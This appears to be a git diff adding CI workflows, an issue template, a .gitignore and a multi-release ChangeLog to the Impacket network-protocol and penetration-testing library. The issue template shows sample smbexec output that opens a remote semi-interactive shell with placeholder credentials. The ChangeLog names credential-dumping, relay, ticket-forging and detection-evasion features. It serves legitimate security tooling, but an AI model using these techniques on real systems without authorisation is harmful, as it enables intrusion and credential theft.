diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md
new file mode 100644
index 0000000..9aa3cc3
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/bug_report.md
@@ -0,0 +1,35 @@
+---
+name: Bug report
+about: Create a report to help us improve
+title: ''
+labels: ''
+assignees: ''
+
+---
+
+### Configuration  
+impacket version:  
+Python version:  
+Target OS:  
+
+### Debug Output With Command String  
+i.e.  
+smbexec -debug domain/user:password@127.0.0.1  
+```
+smbexec -debug domain/user:password@127.0.0.1
+[+] StringBinding ncacn_np:127.0.0.1[\pipe\svcctl]
+[+] Executing %COMSPEC% /Q /c echo cd  ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
+[!] Launching semi-interactive shell - Careful what you execute
+C:\Windows\system32>net group
+[+] Executing %COMSPEC% /Q /c echo net group ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
+Traceback (most recent call last):
+  File "/usr/lib64/python3.7/cmd.py", line 214, in onecmd
+    func = getattr(self, 'do_' + cmd)
+AttributeError: 'RemoteShell' object has no attribute 'do_net'
+```
+
+### PCAP  
+If applicable, add a packet capture to help explain your problem.
+
+### Additional context  
+Space for additional context, investigative results, suspected issue.
diff --git a/.github/labeler.yml b/.github/labeler.yml
new file mode 100644
index 0000000..8e001a4
--- /dev/null
+++ b/.github/labeler.yml
@@ -0,0 +1,24 @@
+# Rules to label Pull Requests
+version: 1
+labels:
+  - label: "Examples"
+    files:
+      - "examples/.*"
+  - label: "Library"
+    files:
+      - "impacket/.*"
+  - label: "CI/CD & Tests"
+    files:
+      - "tests/.*"
+      - "tox.ini"
+      - "Dockerfile"
+      - ".github/.*"
+  - label: "Setup"
+    files:
+      - "setup.py"
+      - "requirements*.txt"
+      - "MANIFEST.in"
+  - label: "Docs"
+    files:
+      - "*.md"
+      - "LICENSE"
diff --git a/.github/workflows/build_and_test.yml b/.github/workflows/build_and_test.yml
new file mode 100644
index 0000000..63bcb39
--- /dev/null
+++ b/.github/workflows/build_and_test.yml
@@ -0,0 +1,95 @@
+# GitHub Action workflow to build and run Impacket's tests
+#
+
+name: Build and test Impacket
+
+on: [push, pull_request]
+
+env:
+  DOCKER_TAG: impacket:latests
+
+jobs:
+  lint:
+    name: Check syntaxs errors and warnings
+    runs-on: ubuntu-latest
+    if:
+      github.event_name == 'push' || github.event.pull_request.head.repo.full_name !=
+      github.repository
+
+    steps:
+      - name: Checkout Impacket
+        uses: actions/checkout@v2
+
+      - name: Setup Python 3.8
+        uses: actions/setup-python@v2
+        with:
+          python-version: 3.8
+
+      - name: Install Python dependencies
+        run: |
+          python -m pip install flake8
+
+      - name: Check syntax errors
+        run: |
+          flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
+
+      - name: Check PEP8 warnings
+        run: |
+          flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics
+
+  test:
+    name: Run unit tests and build wheel
+    needs: lint
+    runs-on: ubuntu-latest
+    if:
+      github.event_name == 'push' || github.event.pull_request.head.repo.full_name !=
+      github.repository
+
+    strategy:
+      fail-fast: false
+      matrix:
+        python-version: ["3.6", "3.7", "3.8", "3.9"]
+        experimental: [false]
+        include:
+          - python-version: "3.10"
+            experimental: true
+    continue-on-error: ${{ matrix.experimental }}
+
+    steps:
+      - name: Checkout Impacket
+        uses: actions/checkout@v2
+
+      - name: Setup Python ${{ matrix.python-version }}
+        uses: actions/setup-python@v2
+        with:
+          python-version: ${{ matrix.python-version }}
+
+      - name: Install Python dependencies
+        run: |
+          python -m pip install --upgrade pip wheel
+          python -m pip install tox tox-gh-actions -r requirements.txt -r requirements-test.txt
+
+      - name: Run unit tests
+        run: |
+          tox -- -m 'not remote'
+
+      - name: Build wheel artifact
+        run: |
+          python setup.py bdist_wheel
+
+  docker:
+    name: Build docker image
+    needs: lint
+    runs-on: ubuntu-latest
+    if:
+      github.event_name == 'push' || github.event.pull_request.head.repo.full_name !=
+      github.repository
+
+    continue-on-error: true
+    steps:
+      - name: Checkout Impacket
+        uses: actions/checkout@v2
+
+      - name: Build docker image
+        run: |
+          docker build -t ${{ env.DOCKER_TAG }} .
diff --git a/.github/workflows/labeler.yml b/.github/workflows/labeler.yml
new file mode 100644
index 0000000..3d820a8
--- /dev/null
+++ b/.github/workflows/labeler.yml
@@ -0,0 +1,15 @@
+# GitHub Action workflow to label Pull Requests
+#
+
+name: Label PRs
+
+on:
+  - pull_request
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: srvaroa/labeler@master
+        env:
+          GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..207755b
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,75 @@
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+env/
+venv/
+.env/
+.venv/
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+*.egg-info/
+.installed.cfg
+*.egg
+
+Pipfile
+Pipfile.lock
+
+# PyInstaller
+#  Usually these files are written by a python script from a template
+#  before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*,cover
+
+# bak files
+*.bak
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+target/
+
+# macOS
+.DS_Store
+
+# PyCharm
+.idea
+
+# Test cases configuration
+tests/dcetests.cfg
\ No newline at end of file
diff --git a/ChangeLog.md b/ChangeLog.md
new file mode 100644
index 0000000..7ea2804
--- /dev/null
+++ b/ChangeLog.md
@@ -0,0 +1,616 @@
+# ChangeLog
+
+Project's main page at [www.secureauth.com](https://www.secureauth.com/labs/open-source-tools/impacket).
+
+Complete list of changes can be found at:
+https://github.com/SecureAuthCorp/impacket/commits/master
+
+## Impacket v0.10.0 (May 2022):
+
+1. Library improvements 
+    * Dropped support for Python 2.7.
+    * Refactored the testing infrastructure (@martingalloar):
+      * Added `pytest` as the testing framework to organize and mark test
+        cases. `Tox` remain as the automation framework, and `Coverage.py`
+        for measuring code coverage.
+      * Custom bash scripts were replaced with test cases auto-discovery.
+      * Local and remote test cases were marked for easy run and configuration. 
+      * DCE/RPC endpoint test cases were refactored and moved to a new layout. 
+      * An initial testing guide with the main steps to prepare a testing environment and run them. 
+      * Fixed a good amount of DCE/RPC endpoint test cases that were failing. 
+      * Added tests for `[MS-PAR]`, `[MS-RPRN]`, CCache and DPAPI.
+    * Added a function to compute the Netlogon Authenticator at client-side in `[MS-NRPC]` (@0xdeaddood)
+    * Added `[MS-DSSP]` protocol implementation (@simondotsh)
+    * Added GetDriverDirectory functions to `[MS-PAR]` and `[MS-RPRN]` (@raithedavion)
+    * Refactored the Credential Cache:
+	  * Added new parseFile function to ccache.py (@rmaksimov)
+	  * Added support for loading CCache Version 3 (@reznok)
+	  * Modified fromKRBCRED function used to load a Kirbi file (@0xdeaddood)
+	  * Fixed Ccache to Kirbi conversion (@ShutdownRepo)
+	* Fixed default NTLM server challenge in smbserver (@rtpt-jonaslieb)
+
+2. Examples improvements
+	* [exchanger.py](examples/exchanger.py):
+	  * Fixed a bug when a Global Address List doesn't exist on the server (@mohemiv)
+	* [mimikatz.py](examples/mimikatz.py)
+	  * Updated intro to not trigger the AV on windows (@mpgn)
+	* [ntlmrelayx.py](examples/ntlmrelayx.py):
+	  * Implemented RAW Relay Server (@CCob)
+	  * Added an LDAP attack dumping information about the domain's ADCS enrollment services (@SAERXCIT)
+      * Added multi-relay feature to the HTTP Relay Server. Now one incoming HTTP connection could be 
+        used against multiple targets (@0xdeaddood)
+      * Added an option to disable the multi-relay feature (@zblurx and @0xdeaddood)
+      * Added multiple HTTP listeners running at the same time (@SAERXCIT)
+      * Support for the ADCS ESC1 and ESC6 attacks (@hugo-syn)
+      * Added Shadow Credentials attack (@ShutdownRepo, @Tw1sm, @nodauf and @p0dalirius)
+      * Added the ability to define a password for the LDAP attack addComputer (@ShutdownRepo)
+      * Added rename_computer and modify add_computer in LDAP interactive shell (@capnkrunchy)
+      * Implemented StartTLS (@ThePirateWhoSmellsOfSunflowers)
+    * [reg.py](examples/reg.py):
+      * Added save function to allow remote saving of registry hives (@ShutdownRepo and @scopedsecurity)
+    * [secretsdump.py](examples/secretsdump.py):
+      * Added an option to dump credentials using the Kerberos Key List attack (@0xdeaddood)
+    * [smbpasswd.py](examples/smbpasswd.py):
+      * Added an option to force credentials change via injecting new values into SAM (@snovvcrash and @alefburzmali)
+3. New examples
+	* [machine_role.py](examples/machine_role.py): This script retrieves a host's role along with its 
+	  primary domain details (@simondotsh)
+    * [keylistattack.py](examples/keylistattack.py): This example implements the Kerberos Key List
+      attack to dump credentials abusing RODCs and Azure AD Kerberos Servers (@0xdeaddood)
+
+As always, thanks a lot to all these contributors that make this library better every day (since last version):
+
+@rmaksimov @simondotsh @CCob @raithedavion @SAERXCIT @Maltemo @dirkjanm @reznok @ShutdownRepo @scopedsecurity @Tw1sm @nodauf @p0dalirius @zblurx @hugo-syn @capnkrunchy @mohemiv @mpgn @rtpt-jonaslieb @snovvcrash @alefburzmali @ThePirateWhoSmellsOfSunflowers @jlvcm
+
+## Impacket v0.9.24 (October 2021):
+
+1. Library improvements 
+	* Fixed WMI objects parsing (@franferrax)
+	* Added the RpcAddPrinterDriverEx method and related structures to `[MS-RPRN]`: Print System Remote Protocol (@cube0x0)
+	* Initial implementation of `[MS-PAR]`: Print System Asynchronous Remote Protocol (@cube0x0)
+	* Complying `[MS-RPCH]` with HTTP/1.1 (@mohemiv) 
+	* Added return of server time in case of Kerberos error (@ShutdownRepo and @Hackndo)
+
+2. Examples improvements
+	* [getST.py](examples/getST.py):
+	   * Added support for a custom additional ticket for S4U2Proxy (@ShutdownRepo)
+	* [ntlmrelayx.py](examples/ntlmrelayx.py):
+	   * Added Negotiate authentication support to the HTTP server (@LZD-TMoreggia) 
+	   * Added anonymous session handling in the HTTP server (@0xdeaddood)
+	   * Fixed error in ldapattack.py when trying to escalate with machine account (@Rcarnus) 
+	   * Added the implementation of AD CS attack (@ExAndroidDev)
+	   * Disabled the anonymous logon in the SMB server (@ly4k)
+	* [psexec.py](examples/psexec.py):
+	   * Fixed decoding problems on multi bytes characters (@p0dalirius)
+	* [reg.py](examples/reg.py):
+	   * Implemented ADD and DELETE functionalities (@Gifts) 
+	* [secretsdump.py](examples/secretsdump.py):
+	   * Speeding up NTDS parsing (@skelsec)
+	* [smbclient.py](examples/smbclient.py):
+	   * Added 'mget' command which allows the download of multiple files (@deadjakk)
+	   * Handling empty search count in FindFileBothDirectoryInfo (@martingalloar)
+	* [smbpasswd.py](examples/smbpasswd.py):
+	   * Added the ability to change a user's password providing NTLM hashes (@snovvcrash)
+	* [smbserver.py](examples/smbserver.py): 
+	   * Added NULL SMBv2 client connection handling (@0xdeaddood)
+	   * Hardened path checks and Added TID checks (@martingalloar)
+	   * Added SMB2 support to QUERY_INFO Request and Enabled SMB_COM_FLUSH method (@0xdeaddood)
+	   * Added missing constant and structure for the QUERY_FS Information Level SMB_QUERY_FS_DEVICE_INFO (@martingalloar)  
+	* [wmipersist.py](examples/wmipersist.py):
+	   * Fixed VBA script execution and improved error checking (@franferrax)
+
+3. New examples
+	* [rbcd.py](examples/rbcd.py): Example script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer (@ShutdownRepo and @p0dalirius) (based on the previous work of @tothi and @NinjaStyle82)
+
+As always, thanks a lot to all these contributors that make this library better every day (since last version):
+
+@deadjakk @franferrax @cube0x0 @w0rmh013 @skelsec @mohemiv @LZD-TMoreggia @exploide @ShutdownRepo @Hackndo @snovvcrash @rmaksimov @Gifts @Rcarnus @ExAndroidDev @ly4k @p0dalirius
+
+
+## Impacket v0.9.23 (June 2021):
+
+1. Library improvements 
+	* Support connect timeout with SMBTransport (@vruello)
+	* Speeding up DcSync (@mohemiv)
+	* Fixed Python3 issue when serving SOCKS5 requests (@agsolino) 
+	* Moved docker container to Python 3.8 (@mgallo) 
+	* Added basic GitHub Actions workflow (@mgallo)  
+	* Fixed Path Traversal vulnerabilities in `smbserver.py` - CVE-2021-31800 (@omriinbar AppSec Researcher at CheckMarx) 
+	* Fixed POST request processing in `httprelayserver.py` (@Rcarnus) 
+	* Added cat command to `smbclient.py` (@mxrch) 
+	* Added new features to the LDAP Interactive Shell to facilitate AD exploitation (@AdamCrosser) 
+	* Python 3.9 support (@meeuw and @cclauss) 
+
+2. Examples improvements
+	* [addcomputer.py](examples/addcomputer.py):  
+	   * Enable the machine account created via SAMR (@0xdeaddood) 
+	* [getST.py](examples/getST.py):  
+	   * Added exploit for CVE-2020-17049 - Kerberos Bronze Bit attack (@jakekarnes42) 
+	   * Compute NTHash and AESKey for the Bronze Bit attack automatically (@snovvcrash) 
+	* [ntlmrelayx.py](examples/ntlmrelayx.py): 
+	   * Fixed target parsing error (@0xdeaddood) 
+	* [wmipersist.py](examples/wmipersist.py):  
+	   * Fixed `filterBinding` error (@franferrax) 
+	   * Added PowerShell option for semi-interactive shells in `dcomexec.py`, `smbexec.py`
+         and `wmiexec.py` (@snovvcrash) 
+	   * Added new parameter to select `COMVERSION` in `dcomexec.py`, `wmiexec.py`,
+         `wmipersist.py` and `wmiquery.py` (@zexusx26) 
+
+3. New examples 
+	* [Get-GPPPassword.py](examples/Get-GPPPassword.py): This example extracts and decrypts
+      Group Policy Preferences passwords using streams for treating files instead of mounting
+      shares. Additionally, it can parse GPP XML files offline (@ShutdownRepo and @p0dalirius) 
+	* [smbpasswd.py](examples/smbpasswd.py): This script is an alternative to `smbpasswd` tool and
+      intended to be used for changing expired passwords remotely over SMB (MSRPC-SAMR) (@snovvcrash) 
+
+As always, thanks a lot to all these contributors that make this library better every day (since last version): 
+
+@mpgn @vruello @mohemiv @jagotu @jakekarnes42 @snovvcrash @zexusx26 @omriinbar @Rcarnus @nuschpl @mxrch @ShutdownRepo @p0dalirius @AdamCrosser @franferrax @meeuw and @cclauss 
+
+
+## Impacket v0.9.22 (November 2020):
+
+1. Library improvements
+    * Added implementation of RPC over HTTP v2 protocol (by @mohemiv).
+    * Added `[MS-NSPI]`, `[MS-OXNSPI]` and `[MS-OXABREF]` protocol implementations (by @mohemiv).
+    * Improved the multi-page results in LDAP queries (by @ThePirateWhoSmellsOfSunflowers).
+    * NDR parser optimization (by @mohemiv).
+    * Improved serialization of WMI method parameters (by @tshmul).
+    * Introduce the `[MS-NLMP]` `2.2.2.10` `VERSION` structure in `NTLMAuthNegotiate` messages (by @franferrax).
+    * Added some NETLOGON structs for `NetrServerPasswordSet2` (by @dirkjanm).
+    * Python 3.8 support.
+
+2. Examples improvements
+	* [atexec.py](examples/atexec.py):
+      * Fixed after MS patches related to RPC attacks (by @mohemiv).
+	* [dpapi.py](examples/dpapi.py):
+      * Added `-no-pass`, `pass-the-hash` and AES Key support for backup subcommand.
+	* [GetNPUsers.py](examples/GetNPUsers.py):
+      * Added ability to enumerate targets with Kerberos KRB5CC (by @rmaksimov).
+	* [GetUserSPNs.py](examples/GetUserSPNs.py):
+      * Added new features for kerberoasting (by @mohemiv).
+	* [ntlmrelayx.py](examples/ntlmrelayx.py):
+	  * Added ability to relay on new Windows versions that have SMB guest access disabled by default.
+	  * Added option to specify the NTLM Server Challenge used when receiving a connection.
+	  * Added relaying to RPC support (by @mohemiv).
+	  * Implemented WCFRelayServer (by @cnotin).
+	  * Added Zerologon DCSync Relay Client (by @dirkjanm).
+	  * Fixed issue in ldapattack.py when relaying and creating computer in CN=Computers (by @Hackndo).
+	* [rpcdump.py](examples/rpcdump.py):
+      * Added RPC over HTTP v2 support (by @mohemiv).
+	* [secretsdump.py](examples/secretsdump.py):
+	   * Added ability to specifically delete a shadow based on its ID (by @phefley).
+	   * Dump plaintext machine account password when dumping the local registry secrets(by @dirkjanm).
+
+3. New examples
+	- [exchanger.py](examples/exchanger.py): A tool for connecting to MS Exchange via
+      RPC over HTTP v2 (by @mohemiv).
+	- [rpcmap.py](examples/rpcmap.py): Scan for listening DCE/RPC interfaces (by @mohemiv).
+
+As always, thanks a lot to all these contributors that make this library better every day (since last version):
+
+@mohemiv @mpgn @Romounet @ThePirateWhoSmellsOfSunflowers @rmaksimov @fuzzKitty @tshmul @spinenkoia @AaronRobson @ABCIFOGeowi40 @cclauss @cnotin @5alt @franferrax @Dliv3 @dirkjanm @Mr-Gag @vbersier @phefley @Hackndo
+
+
+## Impacket v0.9.21 (March 2020):
+
+1. Library improvements 
+    * New methods into `CCache` class to import/export kirbi (`KRB-CRED`) formatted tickets (by @Zer1t0). 
+    * Add `FSCTL_SRV_ENUMERATE_SNAPSHOTS` functionality to `SMBConnection` (by @rxwx). 
+    * Changes in NetBIOS classes in `nmb.py` (`select()` by `poll()` read from socket) (by @cnotin). 
+    * Timestamped logging added. 
+    * Interactive shell to perform LDAP operations (by @mlefebvre). 
+    * Added two DCE/RPC calls in `tsch.py` (by @mohemiv). 
+    * Single-source the version number and standardize on semantic + pre-release + local versioning (by @jsherwood0). 
+    * Added implementation for keytab files (by @kcirtapw). 
+    * Added SMB 3.1.1 support for Client SMB Connections.
+
+2. Examples improvements 
+    * [smbclient.py](examples/smbclient.py):
+      * List the VSS snapshots for a specified path (by @rxwx). 
+    * [GetUserSPNs.py](examples/GetUserSPNs.py):
+      * Added delegation information associated with accounts (by @G0ldenGunSec). 
+    * [dpapi.py](examples/dpapi.py):  
+      * Added more functions to decrypt masterkeys based on SID + hashes/key. Also support supplying hashes instead of the password for decryption(by @dirkjanm). 
+      * Pass the hash support for backup key retrieval (by @imaibou). 
+      * Added feature to decrypt a user's masterkey using the MS-BKRP (by @imaibou). 
+    * [raiseChild.py](examples/raiseChild.py):
+      * Added a new flag to specify the RID of a user to dump credentials (by @0xdeaddood). 
+    * Added flags to bypass badly made detection use cases (by @MaxNad): 
+      * [smbexec.py](examples/smbexec.py):
+        * Possibility to rename the PSExec uploaded binary name with the `-remote-binary-name` flag. 
+      * [psexec.py](examples/psexec.py):
+        * Possibility to use another service name with the `-service-name` flag. 
+    * [ntlmrelayx.py](examples/ntlmrelayx.py): 
+      * Added a flag to use a SID as the escalate user for delegation attacks (by @0xe7). 
+      * Support for dumping LAPS passwords (by @praetorian-adam-crosser). 
+      * Added LDAP interactive mode that allow an attacker to manually perform basic operations
+        like creating a new user, adding a user to a group , dump the AD, etc. (by @mlefebvre). 
+      * Support for multiple relays through one SMB connection (by @0xdeaddood). 
+      * Added support for dumping gMSA passwords (by @cube0x0). 
+    * [ticketer.py](examples/ticketer.py):
+      * Added an option to use the SPNs keys from a keytab for a silver ticket(by @kcirtapw) 
+
+3. New Examples 
+    - [addcomputer.py](examples/addcomputer.py): Allows add a computer to a domain using LDAP
+      or SAMR (SMB) (by @jagotu) 
+    - [ticketConverter.py](examples/ticketConverter.py): This script converts kirbi files,
+      commonly used by mimikatz, into ccache files used by Impacket, and vice versa (by @Zer1t0). 
+    - [findDelegation.py](examples/findDelegation.py): Simple script to quickly list all
+      delegation relationships (unconstrained, constrained, resource-based constrained) in
+      an AD environment (by @G0ldenGunSec). 
+
+As always, thanks a lot to all these contributors that make this library better every day (since last version): 
+
+@jagotu, @Zer1t0 ,@rxwx, @mpgn, @danhph, @awsmhacks, @slasyz, @cnotin, @exploide, @G0ldenGunSec, @dirkjanm, @0xdeaddood, @MaxNad, @imaibou, @BarakSilverfort, @0xe7, @mlefebvre, @rmaksimov, @praetorian-adam-crosser, @jsherwood0, @mohemiv, @justin-p, @cube0x0, @spinenkoia, @kcirtapw, @MrAnde7son, @fridgehead, @MarioVilas. 
+
+
+## Impacket v0.9.20 (September 2019):
+
+1. Library improvements
+    * Python 3.6 support! This is the first release supporting Python 3.x so please issue tickets
+      whenever you find something not working as expected. Libraries and examples should be fully
+      functional. 
+    * Test coverage [improvements](https://github.com/SecureAuthCorp/impacket/pull/540) by @infinnovation-dev
+    * Anonymous SMB 2.x Connections are not encrypted anymore (by @cnotin)   
+    * Support for [multiple PEKs](https://github.com/SecureAuthCorp/impacket/pull/618) when decrypting Windows 2016 DIT files (by @mikeryan) 
+
+2. Examples improvements
+    * [ntlmrelayx.py](examples/ntlmrelayx.py): 
+      * [CVE-2019-1019](https://github.com/SecureAuthCorp/impacket/pull/635): Bypass SMB singing for unpatched (by @msimakov)
+      * Added [POC](https://github.com/SecureAuthCorp/impacket/pull/637) code for CVE-2019-1040 (by @dirkjanm)
+      * Added NTLM relays leveraging [Webdav](https://github.com/SecureAuthCorp/impacket/pull/652) authentications (by @salu90)
+
+3. New Examples
+    * [kintercept.py](examples/kintercept.py): A tool for intercepting krb5 connections and for
+      testing KDC handling S4U2Self with unkeyed checksum (by @iboukris)
+
+As always, thanks a lot to all these contributors that make this library better every day (since last version):
+
+@infinnovation-dev, @cnotin, @mikeryan, @SR4ven, @cclauss, @skorov, @msimakov, @dirkjanm, @franferrax, @iboukris, @n1ngod, @c0d3z3r0, @MrAnde7son.
+
+
+## Impacket v0.9.19 (April 2019):
+
+1. Library improvements
+    * [[MS-EVEN]](impacket/dcerpc/v5/even.py) Interface implementation (Initial - by @MrAnde7son )
+
+2. Examples improvements
+    * [ntlmrelayx.py](examples/ntlmrelayx.py): 
+      * Socks local admin check (by @imaibou)
+      * Add Resource Based Delegation features (by @dirkjanm)
+    * [smbclient.py](examples/smbclient.py):
+      * Added ability to create/remove mount points to exploit James Forshaw's
+        [Abusing Mount Points over the SMB Protocol](https://tyranidslair.blogspot.com/2018/12/abusing-mount-points-over-smb-protocol.html) technique (by @Qwokka)
+    * [GetST.py](examples/getST.py):
+      * Added resource-based constrained delegation support to S4U (@eladshamir)
+    * [GetNPUsers.py](examples/GetNPUsers.py):
+      * Added hashcat/john format and users file input (by @Zer1t0)
+
+As always, thanks a lot to all these contributors that make this library better every day (since last version):
+
+@dirkjanm, @MrAnde7son, @ibo, @franferrax, @Qwokka, @CaledoniaProject , @eladshamir, @Zer1t0, @martingalloar, @muizzk, @Petraea, @SR4ven, @Fist0urs, @Zer1t0.
+
+
+## Impacket v0.9.18 (December 2018):
+
+1. Library improvements
+    * Replace unmaintained PyCrypto for pycryptodome (@dirkjanm)
+    * Using cryptographically secure pseudo-random generators
+    * Kerberos "no pre-auth and RC4" handling in GetKerberosTGT (by @qlemaire)
+    * Test cases adjustments, travis and flake support (@cclauss)
+    * Python3 test cases fixes (@eldipa)
+    * Adding DPAPI / Vaults related structures and functions to decrypt secrets
+    * [[MS-RPRN]](impacket/dcerpc/v5/rprn.py) Interface implementation (Initial)
+
+2. Examples improvements
+    * [ntlmrelayx.py](examples/ntlmrelayx.py):
+      * Optimize ACL enumeration and improve error handling in ntlmrelayx LDAP attack (by @dirkjanm)
+    * [secretsdump.py](examples/secretsdump.py):
+      * Added dumping of machine account Kerberos keys (@dirkjanm). `DPAPI_SYSTEM` LSA Secret is now parsed and key contents are shown.
+    * [GetUserSPNs.py](examples/GetUserSPNs.py):
+      * Bugfixes and cross-domain support (@dirkjanm)
+
+3. New Examples
+    * [dpapi.py](examples/dpapi.py): Allows decrypting vaults, credentials and masterkeys protected by DPAPI. Domain backup key support added by @MrAnde7son 
+
+As always, thanks a lot to all these contributors that make this library better every day (since last version):
+
+@dirkjanm, @MrAnde7son, @franferrax, @MrRobot86, @qlemaire, @cauan, @eldipa.
+
+
+## Impacket v0.9.17 (May 2018):
+
+1. Library improvements
+    * New `[MS-PAC]` [Implementation](impacket/krb5/pac.py).
+    * [LDAP engine](impacket/ldap): Added extensibleMatch string filter parsing, simple
+      paging support and handling of unsolicited notification (by @kacpern)
+    * [ImpactDecoder](impacket/ImpactDecoder.py): Add `EAPOL`, `BOOTP` and `DHCP` packet
+      decoders (by Michael Niewoehner)
+    * [Kerberos engine](impacket/krb5): `DES-CBC-MD5` support to kerberos added (by @skelsec)
+    * [SMB3 engine](https://github.com/SecureAuthCorp/impacket/commit/f62fc5c3946430374f92404e892f8c48943d411c): If target server supports SMB >= 3, encrypt packets by default.
+    * Initial `[MS-DHCPM]` and `[MS-EVEN6]` Interface implementation by @MrAnde7son 
+    * Major improvements to the [NetBIOS layer](https://github.com/SecureAuthCorp/impacket/commit/0808e45b796741aea4162bd756e3f54522e8045b).
+      More use of [structure.py](impacket/structure.py) in there.
+    * [MQTT](https://github.com/SecureAuthCorp/impacket/commit/8cef002928ca52be4e9476a87a54d836b5efa81e) Protocol Implementation and example.
+    * Tox/Coverage Support added, test cases moved to its own directory. Major overhaul.
+    * Many fixes and improvements in Kerberos, SMB and DCERPC (too much to name in a few lines).
+
+2. Examples improvements
+    * [GetUserSPNs.py](examples/GetUserSPNs.py):
+      * `-request-user` parameter added. Requests STs for the SPN associated to the user
+        specified. Added support for AES Kerberoast tickets (by @elitest).
+    * [services.py](examples/services.py):
+      * Added port 139 support and related options (by @real-datagram).
+    * [samrdump.py](examples/samrdump.py): 
+      * `-csv` switch to output format in CSV added.
+    * [ntlmrelayx.py](examples/ntlmrelayx.py):
+      * Major architecture overhaul. Now working mostly through dynamically loaded plugins. SOCKS proxy support for relayed connections. Specific attacks for every protocol and new protocols support (IMAP, POP3, SMTP). Awesome contributions by @dirkjanm.
+    * [secretsdump.py](examples/secretsdump.py):
+      * AES(128) support for SAM hashes decryption. OldVal parameter dump added to LSA
+        secrets dump (by @Ramzeth).
+    * [mssqlclient.py](examples/mssqlclient.py):
+      * Alternative method to execute cmd's on MSSQL (sp_start_job). (by @Kayzaks).
+    * [lsalookupsid.py](examples/lsalookupsid.py):
+      * Added no-pass and domain-users options (by @ropnop). 
+
+3. New Examples
+    * [ticketer.py](examples/ticketer.py): Create Golden/Silver tickets from scratch or
+      based on a template (legally requested from the KDC) allowing you to customize 
+      some of the parameters set inside the `PAC_LOGON_INFO` structure, in particular the
+      groups, extrasids, duration, etc. Silver tickets creation by @machosec and @bransh.
+    * [GetADUsers.py](examples/GetADUsers.py):  Gathers data about the domain's users and
+      their corresponding email addresses. It will also include some extra information
+      about last logon and last password set attributes.
+    * [getPac.py](examples/getPac.py): Gets the PAC (Privilege Attribute Certificate)
+      structure of the specified target user just having a normal authenticated user
+      credentials. It does so by using a mix of `[MS-SFU]`'s `S4USelf` + User to User
+      Kerberos Authentication.
+    * [getArch.py](examples/getArch.py): Will connect against a target (or list of targets)
+      machine/s and gather the OS architecture type installed by (ab)using a documented MSRPC feature.
+    * [mimikatz.py](examples/mimikatz.py): Mini shell to control a remote mimikatz RPC
+      server developed by @gentilkiwi.
+    * [sambaPipe.py](examples/sambaPipe.py): Will exploit CVE-2017-7494, uploading and
+      executing the shared library specified by the user through the `-so` parameter.
+    * [dcomexec.py](examples/dcomexec.py): A semi-interactive shell similar to `wmiexec.py`,
+      but using different DCOM endpoints. Currently supports `MMC20.Application`, `ShellWindows` and
+      `ShellBrowserWindow` objects. (contributions by @byt3bl33d3r).
+    * [getTGT.py](examples/getTGT.py): Given a password, hash or aesKey, this script will
+      request a TGT and save it as ccache.
+    * [getST.py](examples/getST.py): Given a password, hash, aesKey or TGT in ccache, this
+      script will request a Service Ticket and save it as ccache. If the account has constrained
+      delegation (with protocol transition) privileges you will be able to use the `-impersonate`
+      switch to request the ticket on behalf other user.
+
+As always, thanks a lot to all these contributors that make this library better every day (since last version):
+
+@dirkjanm, @real-datagram, @kacpern, @martinuy, @xelphene, @blark, @the-useless-one, @contactr2m, @droc, @martingalloar, @skelsec, @franferrax, @Fr0stbyt3, @ropnop, @MrAnde7son, @machosec, @federicoemartinez, @elitest, @symeonp, @Kanda-Motohiro, @Ramzeth, @mohemiv, @arch4ngel, @derekchentrendmicro, @Kayzaks, @donwayo, @bao7uo, @byt3bl33d3r, @xambroz, @luzpaz, @TheNaterz, @Mikkgn, @derUnbekannt.
+
+
+## Impacket v0.9.15 (June 2016):
+
+1. Library improvements
+   * `SMB3.create`: define `CreateContextsOffset` and `CreateContextsLength` when applicable (by @rrerolle)
+   * Retrieve user principal name from `CCache` file allowing to call any script with `-k` and just the target system (by @MrTchuss)
+   * Packet fragmentation for DCE RPC layer mayor overhaul.
+   * Improved pass-the-key attacks scenarios (by @skelsec)
+   * Adding a minimalistic LDAP/s implementation (supports PtH/PtT/PtK). Only search is available (and you need to
+     build the search filter yourself)
+   * IPv6 improvements for DCERPC/LDAP and Kerberos
+
+2. Examples improvements
+   * Adding `-dc-ip` switch to all examples. It allows specifying what the IP for the domain is.
+     It assumes the DC and KDC resides in the same server.
+   * `secretsdump.py`:
+     * Adding support for Win2016 TP4 in LOCAL or `-use-vss` mode
+     * Adding `-just-dc-user` switch to download just a single user data (DRSUAPI mode only)
+     * Support for different ReplEpoch (DRSUAPI only)
+     * pwdLastSet is also included in the output file
+     * New structures/flags added for 2016 TP5 PAM support
+   * `wmiquery.py`:
+     * Adding `-rpc-auth-level` switch (by @gadio)
+   * `smbrelayx.py`:
+     * Added option to specify authentication status code to be sent to requesting client (by @mgeeky)
+     * Added one-shot parameter. After successful authentication, only execute the attack once for each target (per protocol)
+
+3. New Examples
+   * `GetUserSPNs.py`: This module will try to find Service Principal Names that are associated with normal user account.
+     This is part of the kerberoast attack researched by Tim Medin (@timmedin)
